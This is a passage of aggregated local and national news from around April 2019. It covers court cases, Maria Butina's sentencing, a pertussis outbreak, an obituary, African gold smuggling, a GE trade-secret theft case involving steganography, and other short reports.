prosecuting three cases, also related to insufficient funds checks, against Waln in tribal court. Pahlke dropped all three cases after receiving the fake letter. Pahlke did not immediately respond to an email asking if he ended up charging the mother of Waln's children, and if he ended up refiling the charges against Waln after learning the letter was a fake. Waln also passed 13 insufficient funds checks in April and May 2018 worth $1,497 linked to a Wells Fargo Account that had closed at least seven years before October 2018, the indictment says. Waln, who remains out of custody, has until May 14 to reach a plea deal or go to trial May 28. Contact Arielle Zionts at arielle.zionts@rapidcityjournal.com. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 1 Angry 1 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. WASHINGTON | Maria Butina, a Russian who admitted to secretly working for the Kremlin to infiltrate conservative U.S. political groups with the help of a South Dakota boyfriend, was sentenced Friday to 18 months in prison. Butina has been jailed since her July 2018 arrest and had asked for a sentence of time served. But U.S. District Judge Tanya Chutkan imposed a sentence that would require Butina to spend an additional nine months behind bars, before being deported. Chutkan said the sentence was meant "to reflect the seriousness of (Butina's actions) and to promote deterrence." Butina's lawyers decried the judgment as overly harsh; they had characterized Butina as a naive but ambitious international affairs student who simply didn't realize her actions required her to register as an agent of a foreign government. "I feel terrible for Maria's family ... I wish we could have done more to get her out sooner," said attorney Robert Driscoll. "I do not believe an additional nine months in jail serves any purpose." Butina admitted last year to covertly gathering intelligence on the National Rifle Association and other groups at the direction of a former Russian lawmaker. She was allegedly assisted by her boyfriend, Paul Erickson, 57, of Sioux Falls. Erickson has not been criminally charged for the assistance he provided to Butina, but he is facing a separate federal prosecution for wire fraud and money laundering in South Dakota, where he is scheduled to stand trial in July. Prosecutors in that case have alleged that he used some of the money he fraudulently obtained from business investors to pay some of Butina's expenses, including her tuition at American University in Washington, D.C. Butina's guilty plea to a single charge of conspiracy to act as an unregistered foreign agent came as part of a deal with federal prosecutors. According to her plea agreement, the 30-year-old worked with former Russian lawmaker Alexander Torshin to use their contacts in the NRA to pursue back channels to American conservatives during the 2016 presidential campaign. All the while, she did not report her activities to the U.S. government as required by law. In court papers filed ahead of Friday's sentencing, Butina's lawyers argued that she has taken responsibility for her crimes and should be credited for her cooperation with prosecutors, which they described as "full, transparent and complete." They said Butina has suffered by being publicly branded as a "spy" and through her months in jail. But prosecutors, in pushing for an 18-month sentence, said that while Butina wasn't carrying out espionage in the "traditional sense," her actions still posed a risk. "Such operations can cause great damage to our national security by giving covert agents access to our country and powerful individuals who can influence its direction," prosecutors wrote. Butina had faced a maximum sentence of five years in prison. Her case is unrelated to special counsel Robert Mueller's investigation into Russian interference in the 2016 election, which concluded last month. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Rapid City Councilmembers Laura Armstrong and Darla Drew plan will discuss flood projects with their constituents in Ward 5 at a public forum scheduled for Tuesday. The town hall-style event will be held at the Minneluzahan Senior Center on April 30 from 3 p.m. to 4:30. The forum was originally planned for April 11 but had to be rescheduled due to the winter storm that struck South Dakota that week. Tuesday's forum will be the fourth biannual event Armstrong and Drew have hosted. Drew previously said that topics of conversation will include the updated map of the ward's floodplain that a private contractor is crafting for submission to the Federal Emergency Management Agency. She said the current flood map hasn't been updated since 1981. Drew had said 20 homes could be taken off of floodplain status as a result of the redrawing, meaning their owners would no longer be obligated to pay for flood insurance. She said several properties could be reclassified as being in a floodplain as well. The two are also seeking input on drainage issues from residents who live along Lime Creek. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Beginning in the late 1940s, the Soviet Union detonated over 450 nuclear weapons on the barren steppes of Kazakhstan. The biggest produced a crater 1640 feet wide and 260 feet deep. Water now fills the vast hole in the earth which is completely devoid of life. This vast test area, the size of Belgium, was called The Polygon (for its shape) by the Russians. Lavrentiy Beria, head of the Soviet atomic bomb project, selected this site in 1947. He claimed that the huge steppe region was totally uninhabited. Of course it wasnt, but nobody cared. Workers from Gulag camps were routinely transported to this remote region to build a large complex of buildings, labs and test sites. In the early 1950s, the Soviet military came to a village and evacuated everyone except 43 young men. Why leave a few dozen men behind? To test the effects of radiation fallout on humans. During one nuclear test, the men were rounded up, taken to the middle of the steppe, and placed in tents. They were given food and music and told enjoy yourself. Unbeknownst to the young men, they were about to become human guinea pigs. The men were less than 6 miles from the atomic explosion. Soldiers wearing gas masks arrived after the detonation to retrieve the young men, who demanded to know what had just happened. They were told they would be fine for now, but things could get worse, much worse in 10 to 15 years. One young man related what happened to him. "When I was blinded from the blast, my uncle took me to see the doctor and the doctor said it was my own fault that I looked at the bright light from the explosion. For many years, the young men were under constant medical observation by doctors, not that anything could or would be done to treat any radiation-related illnesses. People in the area were told the Soviet military was testing new massive weapons that would give them dominance over America. The locals were not told these weapons were nuclear that produced massive radioactive fallout which would affect all of them. During tests, nearby villagers were ordered by the KGB to pack books and bedding behind the windows of their houses and stand outside. Women holding their babies were told, You will soon witness the might of Soviet technology. The KGB doctors waited until the wind was blowing towards the villages then instructed the military to detonate the bombs. They spent months afterwards checking the effects on the locals. The last nuclear explosion here was 30 years ago. Even so, doctors in Kazakhstan are worried about the younger generations health. According to one doctor, Our studies show that radiation damages genetic code and the exposed person can pass it onto the second or third generation. The fact that the Polygon is closed hasnt ended its impact on the health of locals. It takes hundreds of years for radioactive materials to decay. Villagers around the Polygon were exposed to radiation for many years and this makes the Polygon different from other nuclear disaster zones. One in every 20 children in the area is born with serious deformities and half of them wouldn't live to be 60. Today the Polygon is home to research on the effects of the tests on the surrounding ecology. And, oddly, it's also open for tours. They say the view is breathtaking literally. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Photo: Ethan Miller/Getty Images Last month, the Green Advocacy Project conducted a poll on the Green New Deal. The results are alarming. Slightly more Americans oppose the idea (46 percent) than support it (43 percent), but the truly catastrophic finding is the imbalance in passion. The opposition is extraordinarily intense, with nearly all opponents of the Green New Deal registering strong opposition, while those in favor are split between supporting it strongly and only somewhat. And this of course is happening before anybody has even attempted the difficult-to-impossible task of translating the Green New Deals mostly popular precepts into specific proposals with concrete trade-offs. So, remind me, why are we doing this again? By this I dont mean an ambitious plan to reduce greenhouse gas emissions. I mean the specific political and policy design choices embedded in the Green New Deal, to whatever extent they exist. Those choices include insisting on a 10-year target for phasing out greenhouse gasses rather than the 30-year schedule required by the Paris climate accords, tossing in an array of non-climate-related policies like universal health care and guaranteed jobs for all, and avoiding important emissions-reducing tools like nuclear power. The most explicit rationale, as Dave Roberts has laid out (see here and here) is to kindle mass activism on an unprecedented scale to radically expand the parameters of what Washington can and will do on climate policy. Two months ago, Roberts was hailing the incipient arrival of this game-changing movement, castigating the critics who dismissed its vast potential. A wave of grassroots enthusiasm like this isnt fungible, he wrote. It cant be returned to the kitchen in exchange for a new one with the perfect mix of policy and rhetorical ingredients. It is lightning in a bottle, easily squandered. More recently, acknowledging the poll (which he brought to my attention) showing that the enthusiasm is heavily weighted against the Green New Deal, Roberts is presenting the grassroots wave as a future aspiration rather than a countable asset. Intensity is what matters in politics, he argues. Democrats and climate hawks need to figure out how to generate some. Roberts is a brilliant policy analyst from whom I have learned enormously. But I believe the theory of political change upon which he has hung his support for the Green New Deal strategy is showing its fatal flaws. The second rationale for the Green New Deal is the belief that Democrats need a radically different strategy because what they tried under the Obama administration failed. Mike Konczal defends it as a reaction to the failed strategy of cap-and-trade. Kevin Baker, writing in Harpers, calls Obamas climate agenda woefully inadequate in the first place, and insists it has now largely been squashed by President Trump. This widespread belief understates both the scale and the durability of Obamas climate reforms. An overinflated sense of failure has always hung over the last presidents climate agenda, in large part due to the high visibility of his failure, and the inconspicuousness of his success. Obama sought, and failed, to pass a cap-and-trade law through Congress in 2009 and 2010. The defeat played out over a year, in full view of the media, and left behind a devastated and disillusioned core of activists who saw their work smashed against the Senate filibuster. The successes, by contrast, occurred with barely any fanfare. Obamas stimulus included $80 billion in green energy subsidies, the largest investment in renewable energy technology in American history. The stimulus was written and passed in mere weeks, during an atmosphere of economic crisis when its impact on a long-developing environmental problem hardly registered with the news media. (Its tax credits for wind and solar power were extended in 2015, as part of a low-profile bipartisan budget deal.) While the Republican capture of Congress closed off any chance of major new climate laws after 2010, the administration pursued an aggressive agenda through regulation and diplomacy. Obama imposed a wide array of new regulations on power plants, cars, buildings, public lands, and elsewhere. In 2014, Obama struck a bilateral greenhouse gas emissions deal with China, which paved the way for the global Paris climate accords the following year. Bakers notion that Obamas agenda has been quashed contains some grains of truth. The Trump administration has launched a vigorous effort to roll back Obamas regulations, and announced its refusal to abide the Paris agreement while throwing itself behind a campaign to revive coal and other dirty energy sources. But even if this rollback were completely effective, it could only reverse the regulatory aspects. Trump cant un-spend stimulus funding that was spent before he took office. And in any event, Trumps rollback has been uneven at best in its implementation. Its been hampered by incompetent staffing, and has lost an extraordinary 90 percent of the court battles over its regulatory changes. Some of the rollback has been blocked by state resistance, especially in California. And the sheer economic power of the changes Obama helped to set in motion has overwhelmed Trumps efforts to reverse them. Despite all his efforts to revive coal, the industry has continued to shrink. Solar and wind power have quintupled over the last decade. Meanwhile, Trumps refusal to abide the terms of the Paris accord has not unraveled the entire deal, which remains largely intact. And worldwide participation is the key thing, since the United States accounts for a shrinking minority of global emissions. None of this is to say that Trump has had no effect, or that the world is on track for a positive outcome. The urgency of the the climate crisis is such that the crisis has already arrived, and rapid and accelerating speed is required to avert deeper disasters. Merely slowing down the pace of the response is a serious act of sabotage. But that is all Trump has done hes put some speed bumps on the path his predecessor forged. He has not erased the Obama climate agenda any more than he erased Obamas health-care reforms (as Obama critics predicted would occur, with equal confidence, after Trumps election). All of this suggests Obamas presidency offers a model, after all, for how the next Democratic president can address climate change. The three tools used by the 44th president green energy investment as part of a stimulus bill, tighter regulation, and aggressive international diplomacy may lack the transformative ambition of the Green New Deal. But the Green New Deal is nowhere close to overcoming either the technocratic challenge of designing workable policies to fulfill its grand designs, or the political challenge of enacting them. A scaled-up version of Obamas model, by contrast, is workable. Democrats might have to alter the rules for what kinds of spending the Senate allows to pass with 50 votes to allow for green energy subsidies. That will be a hard task when the 50th Senate vote comes from a red state, but not as hard as getting that 50th vote to approve a revolutionary overhaul of the entire economy. Its not impossible to imagine a Joe Manchin or a Kyrsten Sinema approving a bill to deploy lots of new green energy infrastructure if it included enough investment for their states. In addition to whatever spending can pass the Senate, they can use regulations and diplomacy to leverage enormous amounts of positive change. And, as the Obama era shows, the three tools work especially well in concert. Investing in green energy brings down the cost of these technologies, making tight regulations easier to design and comply with. (Power companies couldnt easily phase out dirty fuel sources until clean ones became cheaper; car companies can bring down their fuel intake because electric cars have become cost competitive.) Tighter regulations create a market demand for more clean energy innovations. And the more affordable these new technologies become, the easier it is for more leaders of developing countries to commit to a green energy path. Is this suite of reforms going to be enough? No, nothing is going to be enough even eliminating all greenhouse gasses tomorrow would leave the planet dangerously overheated. But more is better than less. The Green New Deals advocates are already starting to realize how desperately unlikely it is to yield anything resembling its promises. (Roberts calls it a long shot a desperate Hail Mary in a game where time is running short.) Why would Democrats turn their backs on a model that has actually produced important progress for a desperate long shot? The Ravalli County Health Department has confirmed a case of highly contagious pertussis in Florence and is working to ensure that it doesnt spread. The countys public health director, Angie Allen, was working with the Florence-Carlton School District Friday to determine other students who may have been in close contact with the person who contracted the illness. We are taking as much diligence as we can to prevent its spread, Allen said. Letters will be sent to parents of any students who may have come into contact with the ill student. The letters include a recommendation for anyone who may have been exposed to pertussis to take a course of antibiotics to ensure they dont become ill. It was not a surprise to see it show up here, Allen said. People have so many close ties to Missoula. Were just trying our best to identify those close contacts so we can mitigate its spread. We are asking people to stay home if theyre sick, and to seek testing and treatment sooner than later if they begin feeling ill. The Missoula City-County Health Department is working to contain an outbreak of pertussis, which is sometimes called whooping cough. As of Wednesday, the Missoula health officials had identified 300 close contacts. Ages of confirmed cases in Missoula ranged from preschool to teenager. Its highly contagious, Allen said. The people we are most worried about are babies under the age of 1, any pregnant mothers in their third trimester, and folks with health complications that could be exacerbated by the illness. Those are the high-risk groups. So far, the illness has not shown up at any other school in Ravalli County. Other counties in western Montana are seeing some activity as well this year, she said. Its not only us and Missoula. This is the time of year when you expect to see it. Pertussis is spread through respiratory droplets released into the air by an ill persons cough. The illness begins with cold-like symptom such as a stuffy nose, mild cough and sneezing. After one or two weeks, it progresses into coughing fits, which can be at their worse through the night hours. Sometimes people make a whooping sound as they gasp for air following a coughing fit. Allen said Ravalli County typically sees a few cases every year. The best way to prevent the disease is through vaccination, she said. DPaP for children and babies and Tdap for pre-teens through adults. Both of those protect people from three disease that includes diphtheria, tetanus and pertussis. A general rule of thumb is that vaccines take two weeks to become effective. Love 0 Funny 2 Wow 2 Sad 0 Angry 1 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Charles Benner was born in Bakersfield, California July 22, 1923, the second of three children. The family moved to Long Beach, California, a year later as his father was pursuing a florist career. By age 4, both parents worked constantly in their family flower shop, except for the 8 p.m., family dinner. However, many close family lived nearby and they had many happy times together at each others homes, the beach and local parks. Chuck loved playing in the vacant lots surrounding his home, watching planes at the nearby airport, making toys and worked from an early age in the flower shop cleaning plant waste, continually repairing the shop wooden floor, and assisting with flower deliveries. His parents felt academics were unnecessary as they intended him to run the family flower shop. Always very intelligent, he excelled at all classes that interested him, wood, radio and print shops, drafting, agriculture and crew, where he was the captain his senior year. Always with many engrossing hobbies; he loved photography, set up a darkroom in his restroom, built a ham radio station, and rebuilt his first car. The family all worked very long hours but spent many Sundays at their Lytle Creek cabin, which Chuck, his father and grandfather were often modifying and later built a larger cabin. During his teen years, he would often stay during the week at Lytle Creek with a list of construction work to complete by the time the family arrived on Sunday. Many friends and family visited the cabin over the years for many treasured memories. After high school, Chuck took a job installing venetian blinds to try to escape from the family flower shop. In 1942 he enlisted in the Army Air Corps, and due to his high test scores, was sent to control tower school. Most of WWII he served in the British Isles, which he remembered as a rewarding, challenging but lonely time. He made lifelong friends, and after returning home, reluctantly, but successfully ran the family flower shop the next 10 years, while pursuing a Masonic Degree, Rotary and Elks Clubs, marched drill team with the Lybian Guards and received his pilots license. He met his future wife, Nancy, on a blind date New Years Eve party in 1951. They married 10 months later. After 10 unrewarding years running the flower shop, with great relief, he sold it and began engineering classes at Long Beach City College, while working days as a draftsman. However, with a young child, Patty, born in 1956, he went to work for the City of Long Beach as a draftsman in 1960, and soon became their right of way coordinator and later the cadastral mapper, where he made assessment maps of property values and wrote maps legal descriptions. Their second daughter, Linda was born in 1965. A devoted and loving father, he enjoyed parenting and always read nightly to the girls, and frequently took the family on wonderful camping trips in their travel trailer, mostly Washington and Idaho, visiting family, where he taught them card games, fishing and hiking. Always very active in the Methodist Church, Chuck taught Sunday school classes, served on many committees, and completed many woodworking and maintenance projects for their church. He organized many church outreach and social activities and loved the Methodist Wheels, a group of campers that had frequent campouts. At home, he enjoyed a model railroad club and built a huge layout in the garage, and built most of the familys furniture over the years. He even studied painting so he could paint the scenery on the walls of the railroad models. He continued to enjoy photography and video recording and editing into retirement, and made many recordings of family events and vacations. In 1995 Chucks only grandchild, Katie, was born. Living nearby, he was always a deeply devoted grandfather and she loved him to show her the trains, draw pictures, play or read together. Chuck continued his devotion to family, organizing family reunions, frequent visits, and keeping in touch with lifelong friends. In retirement, Chuck and Nancy adventured on many fantastic trips, many National Parks, a month long U.S. trip, Canada by train, a cruise to Alaska, a month long European tour, a month in the British Isles staying at bed and breakfasts, Hawaii and even a couple trips to Las Vegas. Chuck and Nancy moved to the Living Center in Stevensville in July 2015. They made many new friends in their new community and were grateful for good times together, the kindness of others, and the beautiful view of the Bitterroot Mountains. Chuck was always deeply spiritual, had long ago accepted Jesus Christ as his savior, was at peace with his passing, and eager to join the Lord and many treasured loved ones. May God keep him safe and free. He was dearly loved by many as the special man he always was, beloved father, husband and friend. A memorial service will be held in Stevensville at the Living Centre on Saturday April 27, 2019, at 2 p.m. Condolences and memories may be shared with the family at www.whitesittfuneralhome.com. No-wake zones are coming to some new sections of Canyon Ferry Reservoir. The Montana Fish and Wildlife Commission adopted several new no-wake zones Thursday, deciding against a stricter proposal that would have designated all the reservoirs northern shoreline no-wake. Montana Fish, Wildlife & Parks initially proposed no-wake zones around several popular public boat launches as well as Kayley Bay, where officials said residents have complained about wake. The other sites were Shannon, Court Sheriff Bay, Chinamans Bay, Silos, White Earth and Hellgate Bay. In February, FWP proposed an alternative, based on regulations west of the Continental Divide, to designate a 200-foot no-wake buffer along the northern shore of the reservoir. FWP received a mix of support and opposition on the proposals, but recommended the first be adopted. We really feel wed be happy with either proposal, either would increase safety on the north end of the lake, recreation program manager Phil Kilbreath told the commission, but wanted to start with the least restrictive and then gauge effectiveness. Much of the opposition to the proposal centered around Kayley Bay, where FWP says it receives the most complaints about wake. Residents there who opposed the restrictions said it provided a good location with calm water to water ski. Reporter Tom Kuglin can be reached at 447-4076 @IR_TomKuglin Love 0 Funny 0 Wow 0 Sad 0 Angry 0 There is a new gold rush in Africa, and the UAE is busy cashing in on the lucrative yet unregulated industry, as exposed by an exclusive Reuters report. Every year, billions of dollars worth of gold leave Africa to the United Arab Emirates and the Middle East, major gateways for markets in the United States and Europe. Yet, African governments receive minimal taxes for the precious commodity, with the vast majority smuggled through elaborate black markets. Trade economists have arrived at this conclusion after studying customs data and discovering huge discrepancies between import and export data. Unregulated industry According to the United Nations international trade statistics database, Comtrade, the UAE imported 446 tonnes of gold worth $15.1 billion from 46 African nations in 2016, nearly 12x what it imported from the continent a decade ago. Only 21 countries from this group submitted data to Comtrade while the other 25 did not. Meanwhile, the UAE reported it received 7.7 tonnes of gold from the 21 countries that filed reports with Comtrade, which is $3.9 billion (~67 tonnes) more than what the countries said they had shipped. In other words, about half of the gold that made it to the UAE from Africa that year was smuggled. Mind you thats UAE data only. Extrapolate it over the scores of other countries that import gold from Africa including China and Switzerland and the figures could be truly shocking. Related: 40% Of Canadians Pay Zero Income Tax Its not hard to see how the worlds poorest continent can be losing such vast resources. Small-scale gold collection by individuals, aka artisanal mining, is a booming business in many parts of Africa, as Quartz details. Artisanal gold mining is an unregulated cottage industry with miners, including children, digging and panning for gold with little official oversight. Most of these miners simply do it for a living and most have no ties to big businesses. According to Ghanaian president Nana Akufo-Addo, this informal mining has become so lucrative that criminal enterprises run by foreigners have taken over the industry. Ghana is the continents second largest gold producer after Libya. Informal gold mining is a rapidly expanding industry in Africa. Its a highly controversial subject because on one hand, it provides a livelihood to millions with little recourse from inept governments. On the other hand, scores of rebels in countries like the Democratic Republic of Congo (DRC) use ill-gotten money from sale of precious minerals like gold and diamonds to fund wars aka blood diamonds. Further, the mining methods use dangerous chemicals such as mercury which eventually leak into soil, rocks and rivers. Many governments feel powerless to stop it. DRC is a major gold producer, yet very little makes it to formal markets with the rest smuggled across porous borders to neighboring Uganda and Rwanda. Thierry Boliki, an official of the Congolese government body meant to regulate high-value minerals like gold, says the government has very little leverage to stop the practice. Related: Silver Demand Set To Grow Significantly In 2019 DRC is not alone. A host of other African governments such as Ghana, Zambia and Tanzania have complained that vast quantities of the yellow metal are illegally produced and smuggled out of their countries every year. Some of these operations are run by cartels, often at a high human and environmental cost. Some miners in this chain work legally, typically selling their gold to middlemen. The middlemen then fly the gold out or simply trade it with neighboring countries. Nevertheless, theres growing debate on regulating this type of mining, not only to prevent small miners from eating into official revenues but also to prevent human rights abuses that are embedded in the microcosms created by the mining communities. Theres no concrete official data on how much money Africa loses every year through this type of mining. The consensus, though, is that its too big to ignore any more. By Alex Kimani for Safehaven.com More Top Reads From Safehaven.com: The U.S. has charged a former Chinese engineer and a businessman of stealing General Electrics turbine technology and sneaking it out to China, marking the first time ever the US government has formally declared that a specific trade secret was stolen with the blessings of the Chinese government to benefit the country. On Tuesday, the U.S. Justice Department unsealed an indictment against former General Electric engineer, Xiaoqing Zheng, 56, and Chinese businessman Zhaoxi Zhang ,46, for stealing proprietary GE turbine technology by surreptitiously encrypting files on Zhengs computer and embedding them within the code of a digital photo depicting a sunset. The 14-count indictment against the pair charges that Zheng stole multiple electronic files containing details about engineering drawings, design models and other specifications related to his employer, GE Power & Water in Schenectady, New York, and spirited off multiple files related to the companys steam and gas turbines. Chinese theft of US corporate secrets According to the indictment, Zheng gained access to the files in 2016 by lying to GE that he was operating an aviation parts supply business back in China and wanted to ensure his company did not violate any rules regarding conflict of interests. GE gave him the thumbs up only to later discover he was transferring the files to his personal email and also emailing them to Zhang who at that time was based in China. Zheng cleverly hid the sensitive data in a digital photograph of a sunset in a process known as steganography. Related: Lawmakers Propose Tax On Ultra-Wealthy Zheng and Zhang then allegedly used the stolen information to advance their business interests in two Chinese turbine R&D companies. The pair also allegedly received financial support from Beijing via the two companies. Zheng faces a 10-year jail term; a fine of US$250,000 as well as three years of supervised release. The indictment comes amid a crackdown by President Trumps administration on Chinese theft of U.S. trade secrets, intellectual property theft, use of prohibitive rules that prevent US corporations from working in China and illegal corporate subsidies. The real cost of Chinas IP theft Last year, the DoJ sealed indictments against two Chinese nationals for a well-choreographed state-sponsored hacking campaign on no less than 45 U.S. companies including stalwarts like NASA, IBM, and Hewlett Packard. But unlike Zheng, the two are unlikely to ever face justice on U.S. soil. The fact that cases such as these tend to be few and far between belies the true extent of IP theft by China on US firms. IP theftuse of trademarks, trade secrets, copyrights and patents without permissionmay seem a dry issue to many, but in reality, it represents big money. A recent shocking poll by CNBC revealed that one in five U.S. corporations say that China has stolen their intellectual property over the past 12 months. Related: Chinese Banks Are Running Low On Dollars IP theft has been a major point of contention between Trumps administration and China and has featured prominently in the ongoing trade negotiations. According to the Harvard Business Review, intangible assets make up to 80% of the value of S&P 500 companies. The practice might not seem as egregious as taking physical property but it represents a loss of opportunity or competitive advantage. The U.S. Trade Representative has estimated IP theft by China costs the US economy a staggering $225 billion-$600 billion every year. Chinese companies use different methods to obtain U.S. IPcyberattacks, corporate espionage and forced technology transfer are the most rampant. Despite going on for decades, past governments including those of Obama and Bill Clinton did not do much to stamp it out. Its going to be interesting to see whether Trumps fire-breathing establishment will fare any better. By Alex Kimani for Safehaven.com More Top Reads From Safehaven.com Education Reporter Mathew Burciaga is a Santa Maria Times reporter who covers education, agriculture and public safety. Prior to joining the Times, Mathew ran a 114-year-old community newspaper in Wyoming. He owns more than 40 pairs of crazy socks from across the globe. While a proposed bill to change the legal standard for law enforcement's use of deadly force recently cleared a key committee vote in the California legislature, the Santa Barbara County Deputy Sheriffs' Association has thrown its support behind an alternative bill that is scheduled for its first public hearing on Tuesday. Most people know about the snake plant, Sansevieria trifasciata, and how hard it is to kill. But it has weirder (yet just as low-maintenance) cousins, say Chantal Aida Gordon and Ryan Benoit, authors of How to Window Box and founders of the Horticult. The spear plant is a little more special than the more common flat-leaf varieties. Both Darryl Cheng, author of The New Plant Parent, and Heibel recommend the Sansevieria cylindrica, or African spear plant, for its sculptural, cylindrical shape and low-maintenance care regimen. These guys are succulents that can tolerate bright, filtered light, and because they are succulents, they can go through and want a pretty hefty dry time. Which makes them ideal for plant parents who go out of town a lot or might not have much direct sunlight in their homes, says Heibel. Mark James Miller is an associate English instructor at Allan Hancock College. He is also president of the Part-Time Faculty Association. He can be reached at mark@pfaofahc.com. "The High Stakes of Low-Level Criminal Justice" | Main | Recapping a notable week of SCOTUS criminal justice arguments Van Jones received considerable grief when he said earlier this year at CPAC that the "conservative movement ... is now the leader" on criminal justice reform. But this new story out of Maryland, headlined "Maryland Gov. Hogan commutes life sentence of 'model inmate' from Baltimore who's served 47 years in killing," provides another example of a GOP official being more progressive in the criminal justice arena than an official from the other side of the aisle. Here are the details: Gov. Larry Hogans office said Wednesday the governor has commuted the life sentence of Calvin Ash, a 68-year-old Baltimore man who has spent nearly his entire adult life behind bars despite multiple recommendations from the parole commission for his release. A spokesman for Hogan said the governor decided this week to accept an 8-0 vote of the parole commission that Ash be freed after serving 47 years for fatally shooting his wifes boyfriend in the 1970s, when Ash was 21 years old. Hogan also commuted sentences this week of two other inmates, but did not release their names.... Hogans actions mean the governor has now commuted the sentences of 15 prisoners since he took office in 2015 including at least five inmates serving life sentences. The previous governor, Democrat Martin OMalley, released three prisoners through commutation during his eight years in office.... Ash has been imprisoned since he killed the boyfriend of his estranged wife on May 2, 1972. On that day, Ash who was an employee of Union Memorial Hospital shot and killed Thomas Robinson, 24, inside a rowhouse in the 1800 block of N. Rosedale St. in West Baltimore. Ash confessed to police during questioning, saying: We were still seeing one another, but then she got on with someone else.... He was convicted of murder and sentenced to life in prison with the possibility of parole. David Blumberg, chairman of the states parole commission, said that for more than a decade, the panel has repeatedly recommended that Ash be freed.... Ashs case has been in the news for years. In 2004, the Maryland Parole Commission approved his release. But in 2006, OMalley rejected the recommendation without comment. In 2009, the commission again voted 5-2 to commute Ashs sentence, but that, too, was rejected.... Maryland governors over time have adopted different stances on their power to commute sentences. In the mid-1990s, Democratic Gov. Parris Glendening, issued a so-called life means life" edict giving out zero commutations as he attempted to negotiate an end to the death penalty in the state. Glendening has since disavowed that approach. Republican Gov. Robert Ehlirch, who served between 2003 and 2007, considered parole on a case-by-case basis. He commuted 18 sentences, including those of five lifers. O'Malley fought to repeal the death penalty and he commuted the sentences of Marylands four remaining death-row inmates to life without parole. But when it came to releasing prisoners sentenced to life with the possibility of parole, he took a hard line. He granted clemency to three in 2012, but approved no non-medical paroles. Hogan has presided over a decline in Marylands prison population. Marylands inmate census has fallen below 18,000 for the first time in nearly three decades.... The 2016 Justice Reinvestment Act is often credited for helping to reduce Marylands prison population. The landmark legislation sought to divert nonviolent offenders from prison into drug treatment and other programs and included changes to mandatory minimum drug penalties. It went into effect in October 2017. Maryland GOP Gov finally commutes notable life sentence (and others) following notably stingy prior Gov | Main | "Individualized Sentencing" April 26, 2019 Recapping a notable week of SCOTUS criminal justice arguments As flagged in this Monday post, the Supreme Court's final week of oral arguments for this Term, which took place this past week, included hearings on three cases involving notable criminal justice issues. We likely should not expected written decisions in Mitchell v. Wisconsin, Rehaif v. United States or Quarles v. United States until late June, but SCOTUSblog provides a sense of where the Court might be headed in these cases through these argument analysis posts: On Mitchell by Amy Howe, "Justices debate warrantless blood draw for unconscious drunk driver" On Rehaif by Evan Lee, "Court leaning toward requiring the government to prove that a felon in possession knew he was a felon" On Quarles by Rory Little, "ACCA argument becomes a broader discussion of statutory interpretation" Interesting jurisprudential developments could emerge from all three of these cases, but the Rehaif case has an issue lurking that could possibly impact lots and lots of federal prosecutions for felon in possession of a firearm under 18 U.S.C. 922(g). April 26, 2019 at 10:23 AM | Permalink Comments Post a comment Strong track record of growth and customer excellence after 18 years of contract logistics business experience and extensive local market knowledge HO CHI MINH CITY, VIETNAM - Media OutReach - April 26, 2019 - DHL eCommerce Solutions, a division of the world's leading logistics company, Deutsche Post DHL Group, has named Samuel Conroy as Managing Director for Vietnam, effective April 1, 2019. Prior to joining DHL, Conroy held senior general management roles in various Southeast Asian countries and was most recently the CEO of the Middle-East Cluster for Damco Logistics. "Samuel brings with him a wealth of knowledge in the logistics business as well as general management experience gained from working across different markets in both country and regional capacities," said Kiattichai Pitpreecha, CEO, DHL eCommerce Solutions Southeast Asia. "His enthusiasm and strategic hands-on leadership approach will be crucial to exceeding customer expectations and delivering profitable growth." Samuel's extensive general management experience has been supplemented with previous project management and functional implementation successes across a broad logistics environment. He previously also served as the director of the Australian Chamber of Commerce in Vietnam. "Vietnam currently has one of the fastest growing e-commerce markets in the world," said Samuel Conroy, Managing Director, DHL eCommerce Solutions, Vietnam. "With more than half of Vietnam's population already using the internet and more than 50 million smartphone subscribers, we must fully utilize our e-commerce capabilities across the DHL divisions to help our customers create a strong base of operations and overcome infrastructure challenges to capitalize on that speed of growth." According to the 2018 "e-Conomy SEA" report by Google and Temasek, Vietnamese e-commerce growth rate ranked second in Southeast Asia, just behind Indonesia. It is estimated 3.2 million Vietnamese users annually shop online. The Vietnamese government is also targeting to improve its business climate and national competitiveness by raising Vietnam's Logistics Performance Index (LPI) by five to 10 places by 2025. Vietnam's LPI had jumped 25 places from 64th in 2016 to 39th in 2018. Story continues DHL -- The logistics company for the world DHL is the leading global brand in the logistics industry. Our DHL family of divisions offer an unrivalled portfolio of logistics services ranging from national and international parcel delivery, e-commerce shipping and fulfillment solutions, international express, road, air and ocean transport to industrial supply chain management. With about 380,000 employees in more than 220 countries and territories worldwide, DHL connects people and businesses securely and reliably, enabling global trade flows. With specialized solutions for growth markets and industries including technology, life sciences and healthcare, energy, automotive and retail, a proven commitment to corporate responsibility and an unrivalled presence in developing markets, DHL is decisively positioned as "The logistics company for the world". DHL is part of Deutsche Post DHL Group. The Group generated revenues of more than 61 billion euros in 2018. The Enforcement Directorate raised Rs 3.29 crore in bids for the auction of 13 luxury cars belonging to Nirav Modi and Mehul Choksi. Out of the 13 vehicles up for auction, 12 found buyers. The agency had deputed state-owned Metal Scrap Trade Corporation (MSTC) to hold an online auction for the high-end cars owned by the fugitive businessmen. "As per PMLA Court's order 12 vehicles (ten vehicles of Nirav Modi Group and two vehicles of Mehul Choksi Group) were successfully bidded for Rs 3.29 Crore (approx.) in e-auction conducted through MSTC (sic)," the Enforcement Directorate said in a tweet on Friday. As per PMLA Courts order 12 vehicles (10 vehicles of Nirav Modi Group and 2 vehicles of Mehul choksi Group) were successfully bidded for 3.29 Crore (approx.) in e-auction conducted through MSTC. ED (@dir_ed) April 26, 2019 The list of cars put up for auction included a Rolls Royce Ghost, a Porsche Panamera, two Mercedes Benz cars, a Toyota Fortuner, an Innova and three Honda cars, among others. The vehicles were reported to be in good condition and were expected to fetch a handsome sum. ALSO READ:Silver exports fall 75% after Nirav Modi, Mehul Choksi flee India The collective base price for the lot was pegged slightly above Rs 3 crore, ranging from Rs 1.33 crore for the Rolls Royce to Rs 2.38 lakh for a Honda 